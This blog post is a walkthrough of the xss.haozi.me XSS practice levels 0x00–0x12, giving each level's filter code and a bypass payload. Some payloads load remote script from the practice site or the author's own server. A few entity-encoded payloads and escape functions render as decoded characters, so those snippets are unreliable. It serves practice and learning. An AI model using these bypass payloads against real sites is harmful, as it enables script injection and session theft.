XSS弹窗练习 :xss.haozi.me
XSS弹窗闯关练习
前言
这是一个xss弹窗练习平台,让你一个点一个点的理解 XSS。页面上展现了源码,方便直接,更易理解其原理。
平台地址: https://xss.haozi.me/#/
首次进去需要输入一个昵称,且提醒你请在 input code 框内输入代码,以至弹出 alert(1) 为过关
0x00
服务器端代码:
function render (input) {
return '<div>' + input + '</div>'
}
前端代码:
<div></div>
服务器端没有任何过滤直接执行JavaScript代码即可
payload:
<script>alert(1)</script>
0x01
服务器端代码:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
前端代码:
<textarea></textarea>
服务器虽然没有进行过滤,但是前端的textarea
标签会将JavaScript代码文本化直接输出,所以添加一个结束标签凑成一对就能绕过
payload:
</textarea><script>alert(1)</script>
0x02
服务器端代码:
function render (input) {
return '<input type="name" value="' + input + '">'
}
前端代码:
<input type="name" value="">
服务器依旧没有进行过滤,不过这次代码插入在input
标签下的value
属性下,依旧会吧JavaScript代码文本化直接输出,因此将value的双引号
和input的右尖括号
补全 即可绕过
payload:
"><script>alert(1)</script>
0x03
服务器端代码:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
这题服务器终于对JavaScript代码进行过滤了,使用是正则表达式匹配,如果匹配成功就替换成空
- 正则表达式
/[()]/g
- 末尾的g是
全局匹配
- 两条斜杠是代表
开始与结束的位置
- 方括号是表示匹配
方括号中的任意字符
- 这个正则表达式的意思就是,全局匹配
左括号和有括号
染过方法有很多
payload:
可用反引号代替括号
<img src="" onerror=alert`1`>
可用Html实体编码表示左右括号
<img src="" onerror=alert(1)>
<img src="" onerror=alert(1)>
(和(表示左括号(
)和)表示右括号)
可以引用外部js文件
<script src="https://xss.haozi.me/j.js"></script>
0x04
服务器端代码:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
这题和0x03很像,就是正则表达式多了个反引号检测,所以0x03的payload除了第一条,其他都能用
0x05
服务器端代码:
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
前端代码:
<!-- -->
服务器使用正则表达式进行了过滤,-->
被替换成😂,然而<!--
与-->
组成一个HTML注释,但是HTML还有一种与能与<!--
组成,就是--!>
,HTML会自动转为-->
payload:
--!><script>alert(1)</script>
0x06
服务器端代码:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
前端代码:
<input value=1 type="text">
服务器依旧使用正则表达式过滤,把auto
、>
、on来头=结尾
,正则表达式的i
是不区分大小写
,但是正则表达式没有过滤换行
payload:
onclick
=alert(1)
单机文本框即可触发JavaScript代码
0x07
服务器端代码:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
前端代码:
<article></article>
服务器使用正则表达式,对<>
括起来的内容进行过滤替换成空,但是由于HTML
的容错性极高,所以,对于不闭合也能接受
payload:
<img src="" onerror=alert(1)
后面加\\ 空格 回车 才能触发
0x08
服务器端代码:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
前端代码:
<style>
</style>
服务器正则表达式过滤了我们想要闭合的style标签
,且忽略了大小写,但是正则表达式是以一个整体来判断,所以在style闭合标签里面加入空格,就能绕过
payload:
</style >
<script> alert(1) </script>
0x09
服务器端代码:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
前端代码:
Invalid URL
服务器使用正则表达式限制了,必须使用https://www.sogmentfault.com
开头,且放在script
标签的src
属性里面.所以我们需要闭合绕过
payload:
https://www.segmentfault.com"></script>
<script src="https://xss.haozi.me/j.js"
0x0A
服务器端代码:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
前端代码:
Invalid URL
和0x09
一样需要制定的Url开头,但是本题还将”&、`、”、<、>、"这些标点符号全部转换成HTML实体编码.因此本题不能通过闭合绕过,需要用到HTML的@特性,请求Url: www.google.com@www.youtube.com 最后访问到是 YouTube , Google相当于做了一次跳转
payload:
https://www.segmentfault.com@xss.haozi.me/j.js
注意:由于Chrome浏览器的一些安全机制,无法正常请求这个Url,所以这题改为使用Firefox浏览器
0x0B
服务器端代码:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
前端代码:
<h1></h1>
这关使用了toUpperCase
函数对输入的字符进行大写转换,HTML标签不区分大小写,但是JavaScript代码区分,也就是说ALERT
不能执行.但是可以将JavaScript代码进行uniocde
编码进行绕过
注意Unicode编码有两种结果,一个是中文转Unicode结果是\u开头的,另一个是ASCII转Unicode结果是&#开头的.这里用ASCII转Unicode
payload:
<img src="" onerror=alert(1)>
0x0C
服务器端代码:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
前端代码:
<h1></h1>
服务器使用正则表达式将script
替换成空,且对输入的字符进行大写转换,使用0x0B
的payload即可,不要相信网上用外部引入j.js
,因为转为大写不存在这个文件
payload:
<img src="" onerror=alert(1)>
0x0D
服务器端代码:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
前端代码:
<script>
// alert('')
</script>
服务器使用正则表达式对 < / " '
进行过滤替换成空,且在输入的地方进行单行注释,因为是单行注释所以换行就能绕过,但是由于后面接着')
,所以必须屏蔽或闭合才能执行JavaScript代码,根据服务器端代码,只能使用 -->
来进行注释
payload:(注意有一行空行)
alert(1)
-->
0x0E(巨坑!!!)
服务器端代码:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
前端代码:
<h1></h1>
服务器使用正则表达式对以<
开头后面接大小写字母进行替换成<_
加大写字母,导致无法使用script
标签,且大写的JavaScript代码无法执行,没有丝毫头绪,翻了下官方WP,了解到一些骚知识
ſ
是古英语中的s的写法, 转成大写是正常的S
这也太骚了吧!!!,玩CTF吗???脑洞这么大
又是一个坑!!!,官方WP是引入j.js 由于大写转换后变成J.JS.文件不存在访问404.只能去自己的服务器写脚本引入自己的js文件
payload:
<ſcript src="http://自己的服务器/ALERT.JS"></script>
ALERT.JS:
alert(1)
0x0F
服务器端代码:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
前端代码:
<img src onerror="console.error('')">
服务器对& ' " < > \
进行HTML实体编码,但是在HTML标签里面使用HTML实体编码没啥用,因为浏览器会解析HTML实体编码,所以将onerror的console.error闭合
绕过就行了
payload:
')alert('1
0x10
服务器端代码:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
前端代码:
<script>
window.data =
</script>
送分题???没有任何过滤,能直接执行alert(1)
payload:
alert(1)
0x11
服务器端代码:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
前端代码:
<script>
var url = 'javascript:console.log("")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
服务器过滤了一大堆字符,并在其前面添加反斜杠进行转义
注意console.log("${s}")
,当我们输入一个双引号"
,正则会变成\"
,然后整条语句变成console.log("\"")
.这样反斜杠就失去转义的作用
payload:
");alert("1
0x12
服务器端代码:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
前端代码:
<script>console.log("");</script>
服务器对双引号进行过滤,转为\\"
,把双引号和括号进行补全就能绕过
payload:
\");alert(1)//
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!